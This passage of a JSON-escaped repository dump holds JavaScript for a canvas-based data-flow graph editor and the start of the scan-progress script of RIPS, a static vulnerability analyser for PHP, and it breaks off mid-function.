((navigator.userAgent.indexOf(\"Gecko\") >= 0) && !this.isWebKit && (typeof navigator.appVersion !== \"undefined\"));\n};\n\nGraph.prototype.dispose = function()\n{\n\tif (this.canvas !== null)\n\t{\n\t\tthis.canvas.removeEventListener(\"mousedown\", this.mouseDownHandler);\n\t\tthis.canvas.removeEventListener(\"mouseup\", this.mouseUpHandler);\n\t\tthis.canvas.removeEventListener(\"mousemove\", this.mouseMoveHandler);\n\t\tthis.canvas.removeEventListener(\"dblclick\", this.doubleClickHandler);\n\t\tthis.canvas.removeEventListener(\"touchstart\", this.touchStartHandler);\n\t\tthis.canvas.removeEventListener(\"touchend\", this.touchEndHandler);\n\t\tthis.canvas.removeEventListener(\"touchmove\", this.touchMoveHandler);\n\t\tthis.canvas.removeEventListener(\"keydown\", this.keyDownHandler);\n\t\tthis.canvas.removeEventListener(\"keypress\", this.keyPressHandler);\n\t\tthis.canvas.removeEventListener(\"keyup\", this.keyUpHandler);\n\t\tthis.canvas = null;\n\t\tthis.context = null;\n\t}\n};\n\nGraph.prototype.setTheme = function(theme)\n{\n\tthis.theme = theme;\n}\n\nGraph.prototype.mouseDown = function(e)\n{\n\te.preventDefault();\n\tthis.canvas.focus();\n\tthis.updateMousePosition(e);\n\n\tif (e.button === 0) // left-click\n\t{\n\t\t// alt+click allows fast creation of element using the active template\n\t\tif ((this.newElement === null) && (e.altKey))\n\t\t{\n\t\t\tthis.createElement(this.activeTemplate);\n\t\t}\n\n\t\tthis.pointerDown();\n\t}\n};\n\nGraph.prototype.mouseUp = function(e)\n{\n\te.preventDefault();\n\tthis.updateMousePosition(e);\n\tif (e.button === 0) // left-click\n\t{\n\t\tthis.pointerUp();\n\t}\n};\n\nGraph.prototype.mouseMove = function(e)\n{\n\te.preventDefault();\n\tthis.updateMousePosition(e);\n\tthis.pointerMove();\n};\n\nGraph.prototype.doubleClick = function(e)\n{\n\te.preventDefault();\n\tthis.updateMousePosition(e);\n\n\tif (e.button === 0) // left-click\n\t{\n\t\tvar point = this.pointerPosition;\n\n\t\tthis.updateActiveObject(point);\n\t\tif ((this.activeObject !== null) && (this.activeObject instanceof Element) && (this.activeObject.template !== null) && (\"edit\" in this.activeObject.template))\n\t\t{\n\t\t\tthis.activeObject.template.edit(this.activeObject, point);\n\t\t\tthis.update();\n\t\t}\n\t}\n};\n\nGraph.prototype.touchStart = function(e)\n{\n\tif (e.touches.length == 1)\n\t{\n\t\te.preventDefault();\n\t\tthis.updateTouchPosition(e);\n\t\tthis.pointerDown();\n\t}\n};\n\nGraph.prototype.touchEnd = function(e)\n{\n\te.preventDefault();\n\tthis.pointerUp();\n};\n\nGraph.prototype.touchMove = function(e)\n{\n\tif (e.touches.length == 1)\n\t{\n\t\te.preventDefault();\n\t\tthis.updateTouchPosition(e);\n\t\tthis.pointerMove();\n\t}\n};\n\nGraph.prototype.pointerDown = function()\n{\n\tvar point = this.pointerPosition;\n\n\tif (this.newElement !== null)\n\t{\n\t\tthis.undoService.begin();\n\t\tthis.newElement.invalidate();\n\t\tthis.newElement.rectangle = new Rectangle(point.x, point.y, this.newElement.rectangle.width, this.newElement.rectangle.height);\n\t\tthis.newElement.invalidate();\n\t\tthis.undoService.add(new InsertElementUndoUnit(this.newElement, this));\n\t\tthis.undoService.commit();\n\t\tthis.newElement = null;\n\t}\n\telse\n\t{\n\t\tthis.selection = null;\n\t\tthis.updateActiveObject(point);\n\t\tif (this.activeObject === null)\n\t\t{\n\t\t\t// start selection\n\t\t\tthis.selection = new Selection(point);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// start connection\n\t\t\tif ((this.activeObject instanceof Connector) && (!this.shiftKey))\n\t\t\t{\n\t\t\t\tif (this.activeObject.isValid(null))\n\t\t\t\t{\n\t\t\t\t\tthis.newConnection = new Connection(this.activeObject, null);\n\t\t\t\t\tthis.newConnection.toPoint = point;\n\t\t\t\t\tthis.activeObject.invalidate();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// select object\n\t\t\t\tif (!this.activeObject.selected)\n\t\t\t\t{\n\t\t\t\t\tthis.undoService.begin();\n\t\t\t\t\tvar selectionUndoUnit = new SelectionUndoUnit();\n\t\t\t\t\tif (!this.shiftKey)\n\t\t\t\t\t{\n\t\t\t\t\t\tthis.deselectAll(selectionUndoUnit);\n\t\t\t\t\t}\n\t\t\t\t\tselectionUndoUnit.select(this.activeObject);\n\t\t\t\t\tthis.undoService.add(selectionUndoUnit);\n\t\t\t\t\tthis.undoService.commit();\n\t\t\t\t}\n\t\t\t\telse if (this.shiftKey)\n\t\t\t\t{\n\t\t\t\t\tthis.undoService.begin();\n\t\t\t\t\tvar deselectUndoUnit = new SelectionUndoUnit();\n\t\t\t\t\tdeselectUndoUnit.deselect(this.activeObject);\n\t\t\t\t\tthis.undoService.add(deselectUndoUnit);\n\t\t\t\t\tthis.undoService.commit();\n\t\t\t\t}\n\n\t\t\t\t// start tracking\n\t\t\t\tvar hit = new Point(0, 0);\n\t\t\t\tif (this.activeObject instanceof Element)\n\t\t\t\t{\n\t\t\t\t\thit = this.activeObject.tracker.hitTest(point);\n\t\t\t\t}\n\t\t\t\tfor (var i = 0; i < this.elements.length; i++)\n\t\t\t\t{\n\t\t\t\t\tvar element = this.elements[i];\n\t\t\t\t\tif (element.tracker !== null)\n\t\t\t\t\t{\n\t\t\t\t\t\telement.tracker.start(point, hit);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tthis.track = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tthis.update();\n\tthis.updateMouseCursor();\n};\n\nGraph.prototype.pointerUp = function()\n{\n\tvar point = this.pointerPosition;\n\n\tif (this.newConnection !== null)\n\t{\n\t\tthis.updateActiveObject(point);\n\t\tthis.newConnection.invalidate();\n\t\tif ((this.activeObject !== null) && (this.activeObject instanceof Connector))\n\t\t{\n\t\t\tif ((this.activeObject != this.newConnection.from) && (this.activeObject.isValid(this.newConnection.from)))\n\t\t\t{\n\t\t\t\tthis.undoService.begin();\n\t\t\t\tthis.undoService.add(new InsertConnectionUndoUnit(this.newConnection, this.newConnection.from, this.activeObject));\n\t\t\t\tthis.undoService.commit();\n\t\t\t}\n\t\t}\n\n\t\tthis.newConnection = null;\n\t}\n\n\tif (this.selection !== null)\n\t{\n\t\tthis.undoService.begin();\n\t\tvar selectionUndoUnit = new SelectionUndoUnit();\n\n\t\tvar rectangle = this.selection.getRectangle();\n\t\tif ((this.activeObject === null) || (!this.activeObject.selected))\n\t\t{\n\t\t\tif (!this.shiftKey)\n\t\t\t{\n\t\t\t\tthis.deselectAll(selectionUndoUnit);\n\t\t\t}\n\t\t}\n\n\t\tif ((rectangle.width !== 0) || (rectangle.weight !== 0))\n\t\t{\n\t\t\tthis.selectAll(selectionUndoUnit, rectangle);\n\t\t}\n\n\t\tthis.undoService.add(selectionUndoUnit);\n\t\tthis.undoService.commit();\n\t\tthis.selection = null;\n\t}\n\n\tif (this.track)\n\t{\n\t\tthis.undoService.begin();\n\t\tfor (var i = 0; i < this.elements.length; i++)\n\t\t{\n\t\t\tvar element = this.elements[i];\n\t\t\tif (element.tracker !== null)\n\t\t\t{\n\t\t\t\telement.tracker.track = false;\n\t\t\t\telement.invalidate();\n\t\t\t\tvar r1 = element.getRectangle();\n\t\t\t\tvar r2 = element.tracker.rectangle;\n\t\t\t\tif ((r1.x != r2.x) || (r1.y != r2.y) || (r1.width != r2.width) || (r1.height != r2.height))\n\t\t\t\t{\n\t\t\t\t\tthis.undoService.add(new TransformUndoUnit(element, r1, r2));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tthis.undoService.commit();\n\t\tthis.track = false;\n\t\tthis.updateActiveObject(point);\n\t}\n\n\tthis.update();\n\tthis.updateMouseCursor();\n};\n\nGraph.prototype.pointerMove = function()\n{\n\tvar point = this.pointerPosition;\n\n\tif (this.newElement !== null)\n\t{\n\t\t// placing new element\n\t\tthis.newElement.invalidate();\n\t\tthis.newElement.rectangle = new Rectangle(point.x, point.y, this.newElement.rectangle.width, this.newElement.rectangle.height);\n\t\tthis.newElement.invalidate();\n\t}\n\n\tif (this.track)\n\t{\n\t\t// moving selected elements\n\t\tfor (var i = 0; i < this.elements.length; i++)\n\t\t{\n\t\t\tvar element = this.elements[i];\n\t\t\tif (element.tracker !== null)\n\t\t\t{\n\t\t\t\telement.invalidate();\n\t\t\t\telement.tracker.move(point);\n\t\t\t\telement.invalidate();\n\t\t\t}\n\t\t}\n\t}\n\n\tif (this.newConnection !== null)\n\t{\n\t\t// connecting two connectors\n\t\tthis.newConnection.invalidate();\n\t\tthis.newConnection.toPoint = point;\n\t\tthis.newConnection.invalidate();\n\t}\n\n\tif (this.selection !== null)\n\t{\n\t\tthis.selection.currentPoint = point;\n\t}\n\n\tthis.updateActiveObject(point);\n\tthis.update();\n\tthis.updateMouseCursor();\n};\n\n\nGraph.prototype.keyDown = function(e)\n{\n\tif (!this.isMozilla)\n\t{\n\t\tthis.processKey(e, e.keyCode);\n\t}\n};\n\nGraph.prototype.keyPress = function(e)\n{\n\tif (this.isMozilla)\n\t{\n\t\tif (typeof this.keyCodeTable === \"undefined\")\n\t\t{\n\t\t\tthis.keyCodeTable = [];\n\t\t\tvar charCodeTable = {\n\t\t\t\t32: ' ',  48: '0',  49: '1',  50: '2',  51: '3',  52: '4', 53:  '5',  54: '6',  55: '7',  56: '8',  57: '9',  59: ';',  61: '=',\n\t\t\t\t65:  'a', 66: 'b',  67: 'c',  68: 'd',  69: 'e',  70: 'f',  71: 'g', 72:  'h',  73: 'i',  74: 'j',  75: 'k',  76: 'l',  77: 'm',  78: 'n', 79:  'o', 80: 'p',  81: 'q',  82: 'r',  83: 's',  84: 't',  85: 'u', 86: 'v', 87: 'w',  88: 'x',  89: 'y',  90: 'z',\n\t\t\t\t107: '+', 109: '-', 110: '.', 188: ',', 190: '.', 191: '/', 192: '`', 219: '[', 220: '\\\\', 221: ']', 222: '\\\"'\n\t\t\t};\n\n\t\t\tfor (var keyCode in charCodeTable)\n\t\t\t{\n\t\t\t\tvar key = charCodeTable[keyCode];\n\t\t\t\tthis.keyCodeTable[key.charCodeAt(0)] = keyCode;\n\t\t\t\tif (key.toUpperCase() != key)\n\t\t\t\t{\n\t\t\t\t\tthis.keyCodeTable[key.toUpperCase().charCodeAt(0)] = keyCode;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tthis.processKey(e, (this.keyCodeTable[e.charCode]) ? this.keyCodeTable[e.charCode] : e.keyCode);\n\t}\n};\n\nGraph.prototype.keyUp = function(e)\n{\n\tthis.updateMouseCursor();\n};\n\nGraph.prototype.processKey = function(e, keyCode)\n{\n\tif ((e.ctrlKey || e.metaKey) && !e.altKey) // ctrl or option\n\t{\n\t\tif (keyCode == 65) // A - select all\n\t\t{\n\t\t\tthis.undoService.begin();\n\t\t\tvar selectionUndoUnit = new SelectionUndoUnit();\n\t\t\tthis.selectAll(selectionUndoUnit, null);\n\t\t\tthis.undoService.add(selectionUndoUnit);\n\t\t\tthis.undoService.commit();\n\t\t\tthis.update();\n\t\t\tthis.updateActiveObject(this.pointerPosition);\n\t\t\tthis.updateMouseCursor();\n\t\t\tthis.stopEvent(e);\n\t\t}\n\n\t\tif ((keyCode == 90) && (!e.shiftKey)) // Z - undo\n\t\t{\n\t\t\tthis.undoService.undo();\n\t\t\tthis.update();\n\t\t\tthis.updateActiveObject(this.pointerPosition);\n\t\t\tthis.updateMouseCursor();\n\t\t\tthis.stopEvent(e);\n\t\t}\n\n\t\tif (((keyCode == 90) && (e.shiftKey)) || (keyCode == 89)) // Y - redo\n\t\t{\n\t\t\tthis.undoService.redo();\n\t\t\tthis.update();\n\t\t\tthis.updateActiveObject(this.pointerPosition);\n\t\t\tthis.updateMouseCursor();\n\t\t\tthis.stopEvent(e);\n\t\t}\n\t}\n\n\tif ((keyCode == 46) || (keyCode == 8)) // DEL - delete\n\t{\n\t\tthis.deleteSelection();\n\t\tthis.update();\n\t\tthis.updateActiveObject(this.pointerPosition);\n\t\tthis.updateMouseCursor();\n\t\tthis.stopEvent(e);\n\t}\n\n\tif (keyCode == 27) // ESC\n\t{\n\t\tthis.newElement = null;\n\t\tthis.newConnection = null;\n\n\t\tthis.track = false;\n\t\tfor (var i = 0; i < this.elements.length; i++)\n\t\t{\n\t\t\tvar element = this.elements[i];\n\t\t\tif (element.tracker !== null)\n\t\t\t{\n\t\t\t\telement.tracker.track = false;\n\t\t\t}\n\t\t}\n\n\t\tthis.update();\n\t\tthis.updateActiveObject(this.pointerPosition);\n\t\tthis.updateMouseCursor();\n\t\tthis.stopEvent(e);\n\t}\n};\n\nGraph.prototype.stopEvent = function(e)\n{\n\te.preventDefault();\n\te.stopPropagation();\n};\n\nGraph.prototype.deleteSelection = function()\n{\n\tvar i, j, k;\n\tvar element;\n\n\tthis.undoService.begin();\n\n\tvar deletedConnections = [];\n\tfor (i = 0; i < this.elements.length; i++)\n\t{\n\t\telement = this.elements[i];\n\t\tfor (j = 0; j < element.connectors.length; j++)\n\t\t{\n\t\t\tvar connector = element.connectors[j];\n\t\t\tfor (k = 0; k < connector.connections.length; k++)\n\t\t\t{\n\t\t\t\tvar connection = connector.connections[k];\n\t\t\t\tif ((element.selected || connection.selected) && (!deletedConnections.contains(connection)))\n\t\t\t\t{\n\t\t\t\t\tthis.undoService.add(new DeleteConnectionUndoUnit(connection));\n\t\t\t\t\tdeletedConnections.push(connection);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor (i = 0; i < this.elements.length; i++)\n\t{\n\t\telement = this.elements[i];\n\t\tif (element.selected)\n\t\t{\n\t\t\tthis.undoService.add(new DeleteElementUndoUnit(element));\n\t\t}\n\t}\n\n\tthis.undoService.commit();\n};\n\nGraph.prototype.selectAll = function(selectionUndoUnit, rectangle)\n{\n\tfor (var i = 0; i < this.elements.length; i++)\n\t{\n\t\tvar element = this.elements[i];\n\t\tif ((rectangle === null) || (element.hitTest(rectangle)))\n\t\t{\n\t\t\tselectionUndoUnit.select(element);\n\t\t}\n\n\t\tfor (var j = 0; j < element.connectors.length; j++)\n\t\t{\n\t\t\tvar connector = element.connectors[j];\n\t\t\tfor (var k = 0; k < connector.connections.length; k++)\n\t\t\t{\n\t\t\t\tvar connection = connector.connections[k];\n\t\t\t\tif ((rectangle === null) || (connection.hitTest(rectangle)))\n\t\t\t\t{\n\t\t\t\t\tselectionUndoUnit.select(connection);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\nGraph.prototype.deselectAll = function(selectionUndoUnit)\n{\n\tfor (var i = 0; i < this.elements.length; i++)\n\t{\n\t\tvar element = this.elements[i];\n\t\tselectionUndoUnit.deselect(element);\n\n\t\tfor (var j = 0; j < element.connectors.length; j++)\n\t\t{\n\t\t\tvar connector = element.connectors[j];\n\t\t\tfor (var k = 0; k < connector.connections.length; k++)\n\t\t\t{\n\t\t\t\tvar connection = connector.connections[k];\n\t\t\t\tselectionUndoUnit.deselect(connection);\n\t\t\t}\n\t\t}\n\t}\n};\n\nGraph.prototype.updateActiveObject = function(point)\n{\n\tvar hitObject = this.hitTest(point);\n\tif (hitObject != this.activeObject)\n\t{\n\t\tif (this.activeObject !== null)\n\t\t{\n\t\t\tthis.activeObject.hover = false;\n\t\t}\n\t\tthis.activeObject = hitObject;\n\t\tif (this.activeObject !== null)\n\t\t{\n\t\t\tthis.activeObject.hover = true;\n\t\t}\n\t}\n};\n\nGraph.prototype.hitTest = function(point)\n{\n\tvar i, j, k;\n\tvar element, connector, connection;\n\n\tvar rectangle = new Rectangle(point.x, point.y, 0, 0);\n\n\tfor (i = 0; i < this.elements.length; i++)\n\t{\n\t\telement = this.elements[i];\n\t\tfor (j = 0; j < element.connectors.length; j++)\n\t\t{\n\t\t\tconnector = element.connectors[j];\n\t\t\tif (connector.hitTest(rectangle))\n\t\t\t{\n\t\t\t\treturn connector;\n\t\t\t}\n\t\t}\n\t}\n\n\tfor (i = 0; i < this.elements.length; i++)\n\t{\n\t\telement = this.elements[i];\n\t\tif (element.hitTest(rectangle))\n\t\t{\n\t\t\treturn element;\n\t\t}\n\t}\n\n\tfor (i = 0; i < this.elements.length; i++)\n\t{\n\t\telement = this.elements[i];\n\t\tfor (j = 0; j < element.connectors.length; j++)\n\t\t{\n\t\t\tconnector = element.connectors[j];\n\t\t\tfor (k = 0; k < connector.connections.length; k++)\n\t\t\t{\n\t\t\t\tconnection = connector.connections[k];\n\t\t\t\tif (connection.hitTest(rectangle))\n\t\t\t\t{\n\t\t\t\t\treturn connection;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn null;\n};\n\nGraph.prototype.updateMouseCursor = function()\n{\n\tif (this.newConnection !== null)\n\t{\n\t\tthis.canvas.style.cursor = ((this.activeObject !== null) && (this.activeObject instanceof Connector)) ? this.activeObject.getCursor(this.pointerPosition) : Cursors.cross;\n\t}\n\telse\n\t{\n\t\tthis.canvas.style.cursor = (this.activeObject !== null) ? this.activeObject.getCursor(this.pointerPosition) : Cursors.arrow;\n\t}\n};\n\nGraph.prototype.updateMousePosition = function(e)\n{\n\tthis.shiftKey = e.shiftKey;\n\tthis.pointerPosition = new Point(e.pageX, e.pageY);\n\tvar node = this.canvas;\n\twhile (node !== null)\n\t{\n\t\tthis.pointerPosition.x -= node.offsetLeft;\n\t\tthis.pointerPosition.y -= node.offsetTop;\n\t\tnode = node.offsetParent;\n\t}\n};\n\nGraph.prototype.updateTouchPosition = function(e)\n{\n\tthis.shiftKey = false;\n\tthis.pointerPosition = new Point(e.touches[0].pageX, e.touches[0].pageY);\n\tvar node = this.canvas;\n\twhile (node !== null)\n\t{\n\t\tthis.pointerPosition.x -= node.offsetLeft;\n\t\tthis.pointerPosition.y -= node.offsetTop;\n\t\tnode = node.offsetParent;\n\t}\n}\n\nGraph.prototype.addElement = function(template, point, content, text, userinput, sinks, vuln)\n{\n\tthis.activeTemplate = template;\n\tvar element = new Element(template, point);\n\telement.content = content;\n\telement.text = text;\n\telement.insertInto(this);\n\telement.invalidate();\n\telement.userinput = (userinput == 1) ? 1.5 : userinput;\n\telement.sinks = (sinks == 1) ? 1.5 : sinks;\n\telement.vuln = vuln;\n\treturn element;\n};\n\nGraph.prototype.createElement = function(template)\n{\n\tthis.activeTemplate = template;\n\tthis.newElement = new Element(template, this.pointerPosition);\n\tthis.update();\n\tthis.canvas.focus();\n};\n\nGraph.prototype.addConnection = function(connector1, connector2, linecolor)\n{\n\tvar connection = new Connection(connector1, connector2);\n\tconnection.color = linecolor;\n\tconnector1.connections.push(connection);\n\tconnector2.connections.push(connection);\n\tconnector1.invalidate();\n\tconnector2.invalidate();\n\tconnection.invalidate();\n\treturn connection;\n};\n\nGraph.prototype.setElementContent = function(element, content)\n{\n\tthis.undoService.begin();\n\tthis.undoService.add(new ContentChangedUndoUnit(element, content));\n\tthis.undoService.commit();\n\tthis.update();\n};\n\nGraph.prototype.update = function()\n{\n\tvar i, j, k;\n\tvar element, connector, connection;\n\n\tthis.canvas.style.background = this.theme.background;\n\tthis.context.clearRect(0, 0, this.canvas.width, this.canvas.height);\n\n\tvar connections = [];\n\tfor (i = 0; i < this.elements.length; i++)\n\t{\n\t\telement = this.elements[i];\n\t\tfor (j = 0; j < element.connectors.length; j++)\n\t\t{\n\t\t\tconnector = element.connectors[j];\n\t\t\tfor (k = 0; k < connector.connections.length; k++)\n\t\t\t{\n\t\t\t\tconnection = connector.connections[k];\n\t\t\t\tif (!connections.contains(connection))\n\t\t\t\t{\n\t\t\t\t\tconnection.paint(this.context);\n\t\t\t\t\tconnections.push(connection);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor (i = 0; i < this.elements.length; i++)\n\t{\n\t\tthis.context.save();\n\t\tthis.elements[i].paint(this.context);\n\t\tthis.context.restore();\n\t}\n\n\tfor (i = 0; i < this.elements.length; i++)\n\t{\n\t\telement = this.elements[i];\n\t\tfor (j = 0; j < element.connectors.length; j++)\n\t\t{\n\t\t\tconnector = element.connectors[j];\n\n\t\t\tvar hover = false;\n\t\t\tfor (k = 0; k < connector.connections.length; k++)\n\t\t\t{\n\t\t\t\tif (connector.connections[k].hover) { hover = true; }\n\t\t\t}\n\n\t\t\tif ((element.hover) || (connector.hover) || hover)\n\t\t\t{\n\t\t\t\tconnector.paint(this.context, (this.newConnection !== null) ? this.newConnection.from : null);\n\t\t\t}\n\t\t\telse if ((this.newConnection !== null) && (connector.isValid(this.newConnection.from)))\n\t\t\t{\n\t\t\t\tconnector.paint(this.context, this.newConnection.from);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (this.newElement !== null)\n\t{\n\t\tthis.context.save();\n\t\tthis.newElement.paint(this.context);\n\t\tthis.context.restore();\n\t}\n\n\tif (this.newConnection !== null)\n\t{\n\t\tthis.newConnection.paintTrack(this.context);\n\t}\n\n\tif (this.selection !== null)\n\t{\n\t\tthis.context.strokeStyle = this.theme.selection;\n\t\tthis.selection.paint(this.context);\n\t}\n\n\t// userinput legend\n\tthis.context.beginPath();\n\tthis.context.fillStyle = \"#FFF\";\n\tthis.context.arc(this.canvas.width-130,30,5,0,Math.PI*2,true);\n\tthis.context.fill();\n\tthis.context.closePath();\n\n\tthis.context.beginPath();\n\tthis.context.strokeStyle = \"#000\";\n\tthis.context.lineWidth = 1;\n\tthis.context.arc(this.canvas.width-130,30,5,0,Math.PI*2,true);\n\tthis.context.stroke();\n\tthis.context.closePath();\n\n\tthis.context.textBaseline = \"bottom\";\n\tthis.context.font = \"8.25pt Tahoma\";\n\tthis.context.fillStyle = \"#000\";\n\tthis.context.fillText('sources', this.canvas.width-115, 35);\n\n\t// sensitive sink legend\n\tthis.context.beginPath();\n\tthis.context.fillStyle = \"#FFCE42\";\n\tthis.context.arc(this.canvas.width-130,50,5,0,Math.PI*2,true);\n\tthis.context.fill();\n\tthis.context.closePath();\n\n\tthis.context.beginPath();\n\tthis.context.strokeStyle = \"#000\";\n\tthis.context.lineWidth = 1;\n\tthis.context.arc(this.canvas.width-130,50,5,0,Math.PI*2,true);\n\tthis.context.stroke();\n\tthis.context.closePath();\n\n\tthis.context.textBaseline = \"bottom\";\n\tthis.context.font = \"8.25pt Tahoma\";\n\tthis.context.fillStyle = \"#000\";\n\tthis.context.fillText('sensitive sinks', this.canvas.width-115, 55);\n\n\t// vulnerable legend\n\tthis.context.beginPath();\n\tthis.context.fillStyle = \"red\";\n\tthis.context.arc(this.canvas.width-130,70,5,0,Math.PI*2,true);\n\tthis.context.fill();\n\tthis.context.closePath();\n\n\tthis.context.beginPath();\n\tthis.context.strokeStyle = \"#000\";\n\tthis.context.lineWidth = 1;\n\tthis.context.arc(this.canvas.width-130,70,5,0,Math.PI*2,true);\n\tthis.context.stroke();\n\tthis.context.closePath();\n\n\tthis.context.textBaseline = \"bottom\";\n\tthis.context.font = \"8.25pt Tahoma\";\n\tthis.context.fillStyle = \"#000\";\n\tthis.context.fillText('vulnerability', this.canvas.width-115, 75);\n};\n\n// -------------------------------------------------- main --------------------------------------------\n\nvar pageTemplate = new PageTemplate();\n\nfunction PageTemplate()\n{\nthis.resizable = false;\nthis.defaultWidth = 120;\nthis.defaultHeight = 40;\nthis.defaultContent = \"\";\nthis.connectorTemplates = [\n{ name: \"links\", type: \"Page [in] [array]\", description: \"Child\", position: function(element) { return { x: Math.floor(element.getRectangle().width / 2), y: 0 } } },\n{ name: \"parents\", type: \"Page [out] [array]\", description: \"Parent\", position: function(element) { return { x: Math.floor(element.getRectangle().width / 2), y: Math.floor(element.getRectangle().height) } } }\n];\n}\n\nPageTemplate.prototype.paint = function(element, context)\n{\nvar rectangle = element.getRectangle();\ncontext.fillStyle = \"#ddd\";\ncontext.strokeStyle = element.selected ? \"#888\" : \"#246\";\ncontext.lineWidth = 2;\ncontext.fillRect(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\ncontext.strokeRect(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\ncontext.fillStyle = context.strokeStyle;\ncontext.fillRect(rectangle.x, rectangle.y, rectangle.width, 18);\ncontext.font = \"bold 9px Verdana\";\ncontext.fillStyle = \"#fff\";\ncontext.textBaseline = \"bottom\";\ncontext.fillText(element.getContent().substring(0, 22), rectangle.x + 4, rectangle.y + 14);\n};\n\nPageTemplate.prototype.edit = function(element, point)\n{\ncontentEditor.start(element);\n};\n\nvar scriptTemplate = new ScriptTemplate();\n\nfunction ScriptTemplate()\n{\nthis.resizable = false;\nthis.defaultWidth = 120;\nthis.defaultHeight = 40;\nthis.defaultContent = \"\";\nthis.connectorTemplates = [\n{ name: \"links\", type: \"Page [in] [array]\", description: \"Child\", position: function(element) { return { x: Math.floor(element.getRectangle().width / 2), y: 0 } } },\n{ name: \"parents\", type: \"Page [out] [array]\", description: \"Parent\", position: function(element) { return { x: Math.floor(element.getRectangle().width / 2), y: Math.floor(element.getRectangle().height) } } }\n];\n}\n\nScriptTemplate.prototype.paint = function(element, context)\n{\nvar rectangle = element.getRectangle();\ncontext.fillStyle = \"#ddd\";\ncontext.strokeStyle = element.selected ? \"#888\" : \"#622\";\ncontext.lineWidth = 2;\ncontext.fillRect(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\ncontext.strokeRect(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\ncontext.fillStyle = context.strokeStyle;\ncontext.fillRect(rectangle.x, rectangle.y, rectangle.width, 18);\ncontext.font = \"bold 9px Verdana\";\ncontext.fillStyle = \"#fff\";\ncontext.textBaseline = \"bottom\";\ncontext.fillText(element.getContent().substring(0, 20), rectangle.x + 4, rectangle.y + 14);\n};\n\nScriptTemplate.prototype.edit = function(element, point)\n{\ncontentEditor.start(element);\n};\n\nvar contentEditor = new ContentEditor();\n\nfunction ContentEditor()\n{\nthis.input = null;\n}\n\nContentEditor.prototype.start = function(element)\n{\nvar rectangle = element.getPageRectangle();\nthis.element = element;\nthis.input = document.createElement('input');\nthis.input.type = \"text\";\nthis.input.style.position = \"absolute\";\nthis.input.style.zIndex = 1;\nthis.input.style.top = (rectangle.y + 1) + \"px\";\nthis.input.style.left = (rectangle.x + 2) + \"px\";\nthis.input.style.width = (rectangle.width - 4) + \"px\";\nthis.input.onblur = function(e)\n{\ncontentEditor.commit();\n}\nthis.input.onkeydown = function(e)\n{\nif (e.keyCode == 13) { contentEditor.commit(); } // Enter\nif (e.keyCode == 27) { contentEditor.cancel(); } // ESC\n};\nthis.element.owner.canvas.parentNode.appendChild(this.input);\nthis.input.value = element.getContent();\nthis.input.select();\nthis.input.focus();\n};\n\nContentEditor.prototype.commit = function()\n{\nthis.element.setContent(this.input.value);\nthis.cancel();\n}\n\nContentEditor.prototype.cancel = function()\n{\nif (this.input !== null)\n{\nvar input = this.input;\nthis.input = null;\nthis.element.owner.canvas.parentNode.removeChild(input);\nthis.element = null;\n}\n};\n"
  },
  {
    "path": "js/script.js",
    "content": "/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\n**/\n\n/* SCAN */\n\nfunction scanAnimation(height, idprefix)\n{\n\tvar div = document.getElementById(idprefix+'ned');\n\tdiv.style.height = height+\"px\";\n}\n\n\nfunction handleResponse(idprefix) {\n\tif (client.readyState != 4 && client.readyState != 3)\n\t\treturn;\n\tif (client.readyState == 3 && client.status != 200)\n\t\treturn;\n\tif (client.readyState == 4 && client.status != 200) {\n\t\treturn;\n\t}\n\n\tif (client.responseText === null)\n\t\treturn;\n\n\twhile (prevDataLength != client.responseText.length) {\n\t\tif (client.readyState == 4  && prevDataLength == client.responseText.length)\n\t\t\tbreak;\n\n\t\tprevDataLength = client.responseText.length;\n\n\t\tvar lines = client.responseText.split('\\n');\n\t\tvar newline = lines[lines.length-2];\n\n\t\tif(newline == 'STATS_DONE.') {\n\t\t\tconsole.log(\"done\");\n\t\t\tstats_done = true;\n\t\t\treturn;\n\t\t} else if(newline != undefined)\n\t\t{\n\t\t\tdata = newline.split('|');\n\t\t\tif(data[0] != undefined && data[1] != undefined && data[2] != undefined && data[3] != undefined)\n\t\t\t{\n\t\t\t\tdocument.getElementById(idprefix+\"file\").innerHTML = data[2];\n\t\t\t\tprocent = Math.round((data[0]/data[1])*100);\n\n\t\t\t\tscanAnimation((procent * 75)/100, idprefix)\n\n\t\t\t\tdocument.getElementById(idprefix+\"progress\").innerHTML = '<span style=\"font-size:20px\">' + procent + '%</span><br />(' + data[0] + '/' + data[1] + ')';\n\t\t\t\tdocument.getElementById(idprefix+\"timeleft\").innerHTML = 'appr. timeleft: ' + ( (Math.round(data[3]/60) > 1) ? (Math.round(data[3]/60) + ' min') : (Math.round(data[3]) + ' sec') );\n\t\t\t} else\n\t\t\t{\n\t\t\t\tstats_done = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (client.readyState == 4 && prevDataLength == client.responseText.length) {\n\t\treturn;\n\t}\n\n}\n\n\nfunction scan(ignore_warning)\n{\n\tvar location = encodeURIComponent(document.getElementById(\"location\").value);\n\tvar subdirs = Number(document.getElementById(\"subdirs\").checked);\n\tvar\tverbosity = document.getElementById(\"verbosity\").value;\n\tvar vector = document.getElementById(\"vector\").value;\n\tvar treestyle = document.getElementById(\"treestyle\").value;\n\tvar stylesheet = document.getElementById(\"css\").value;\n\n\tvar params = 